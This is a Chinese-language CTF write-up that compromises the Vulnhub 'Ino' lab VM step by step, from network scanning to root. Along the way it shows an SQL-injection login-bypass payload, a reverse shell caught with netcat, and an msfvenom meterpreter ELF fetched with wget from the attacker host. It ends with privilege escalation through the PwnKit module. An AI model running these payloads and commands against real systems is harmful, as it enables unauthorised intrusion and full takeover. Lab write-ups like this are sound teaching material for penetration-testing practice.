Vulnhub之Ino靶机详细测试过程（采用完全不同方法获得Shell以及本地提权）
Ino
识别目标主机IP地址
─(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:05 1 60 Unknown vendor
192.168.56.100 08:00:27:86:38:75 1 60 PCS Systemtechnik GmbH
192.168.56.253 08:00:27:f5:7e:8f 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.253
NMAP扫描
──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 00:34 EDT
Nmap scan report for localhost (192.168.56.253)
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
| 256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
|_ 256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F5:7E:8F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80（http)
获得Shell
访问80端口，从返回的页面看CMS为Lot Reservation Management System
──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ searchsploit Lot Reservation
-------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------- ---------------------------------
Lot Reservation Management System 1.0 - Authentication Bypass | php/webapps/48934.txt
Lot Reservation Management System 1.0 - Cross-Site Scripting (Stored) | php/webapps/48935.txt
-------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
但目前不知道版本，先看一下有无其他目录可利用。
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ nikto -h http://192.168.56.253
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.253
+ Target Hostname: 192.168.56.253
+ Target Port: 80
+ Start Time: 2023-04-16 00:40:09 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: /lot/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 3 item(s) reported on remote host
+ End Time: 2023-04-16 00:41:00 (GMT-4) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.38) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
会被自动重定向到/lot目录。
用Gobuster工具无法识别目录：
──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ gobuster dir -u http://192.168.56.253/lot/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.253/lot/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,html,js,sh,txt
[+] Timeout: 10s
===============================================================
2023/04/16 00:46:35 Starting gobuster in directory enumeration mode
===============================================================
Error: error on running gobuster: unable to connect to http://192.168.56.253/lot/: Get "http://192.168.56.253/lot/": dial tcp 192.168.56.253:80: connect: connection refused
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ searchsploit -m php/webapps/48934.txt
Exploit: Lot Reservation Management System 1.0 - Authentication Bypass
URL: https://www.exploit-db.com/exploits/48934
Path: /usr/share/exploitdb/exploits/php/webapps/48934.txt
Codes: N/A
Verified: True
File Type: ASCII text
Copied to: /home/kali/Vulnhub/Ino/48934.txt
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ cat 48934.txt
#Exploit Title: lot reservation management system 1.0 - Authentication Bypass
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4
Proof of Concept:::
Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php
Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.
Malicious Request:::
POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B
You will be login as admin of the application.
用绕过语句，
http://192.168.56.253/lot/admin/
用户名处： admin' or 1=1 --
密码处： admin' or 1=1 --
可以绕过管理后台。
在System Settings，可以上传shell.php文件
从而在Kali Linux上得到了目标主机反弹回来的shell
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 40798
Linux ino 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
05:59:36 up 26 min, 0 users, load average: 0.00, 0.21, 0.60
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ino:/$ cd /home
cd /home
www-data@ino:/home$ ls -alh
ls -alh
total 12K
drwxr-xr-x 3 root root 4.0K Oct 10 2020 .
drwxr-xr-x 18 root root 4.0K Oct 27 2020 ..
drwxr-xr-x 2 ppp ppp 4.0K Dec 5 2020 ppp
www-data@ino:/home$ cd ppp
cd ppp
www-data@ino:/home/ppp$ ls -alh
ls -alh
total 24K
drwxr-xr-x 2 ppp ppp 4.0K Dec 5 2020 .
drwxr-xr-x 3 root root 4.0K Oct 10 2020 ..
lrwxrwxrwx 1 root root 9 Dec 5 2020 .bash_history -> /dev/null
-rw-r--r-- 1 ppp ppp 220 Oct 10 2020 .bash_logout
-rw-r--r-- 1 ppp ppp 3.5K Oct 10 2020 .bashrc
-rw-r--r-- 1 ppp ppp 807 Oct 10 2020 .profile
-rw-r--r-- 1 ppp ppp 33 Dec 5 2020 local.txt
www-data@ino:/home/ppp$ cat local.txt
cat local.txt
f29cea45f473ebfa834885c4ff70ec1a
这样就得到了用户flag.
提权
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: escalate.elf
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
利用msfvenom工具生成payload,然后将escalate.elf上传至目标主机/tmp目录
www-data@ino:/tmp$ wget http://192.168.56.206:8000/escalate.elf
wget http://192.168.56.206:8000/escalate.elf
--2023-04-16 06:06:32-- http://192.168.56.206:8000/escalate.elf
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'escalate.elf'
escalate.elf 100%[===================>] 207 --.-KB/s in 0s
2023-04-16 06:06:32 (65.6 MB/s) - 'escalate.elf' saved [207/207]
www-data@ino:/tmp$ chmod +x escalate.elf
chmod +x escalate.elf
在Kali Linux启动handler
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHOST 192.168.56.206
LHOST => 192.168.56.206
msf6 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf6 exploit(multi/handler) > run
在目标主机的shell中运行./escalate.elf
从而得到meterpreter
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.206:6666
[*] Sending stage (1017704 bytes) to 192.168.56.253
[*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.253:44636) at 2023-04-16 01:07:39 -0400
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
利用local_exploit_suggester找到用于提权的漏洞利用模块
[*] 192.168.56.253 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
2 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
3 exploit/linux/local/su_login Yes The target appears to be vulnerable.
利用第1个模块实现提权
meterpreter > shell
Process 1409 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
ls -alh
total 28K
drwx------ 3 root root 4.0K Dec 5 2020 .
drwxr-xr-x 18 root root 4.0K Oct 27 2020 ..
lrwxrwxrwx 1 root root 9 Dec 5 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw------- 1 root root 3.5K Oct 26 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4.0K Oct 27 2020 .ssh
-rw------- 1 root root 33 Dec 5 2020 proof.txt
cat proof.txt
21bae0a12690199cde7a65bff57723a5
从而拿到了root shell和root flag
STRIVE FOR PROGRESS,NOT FOR PERFECTION
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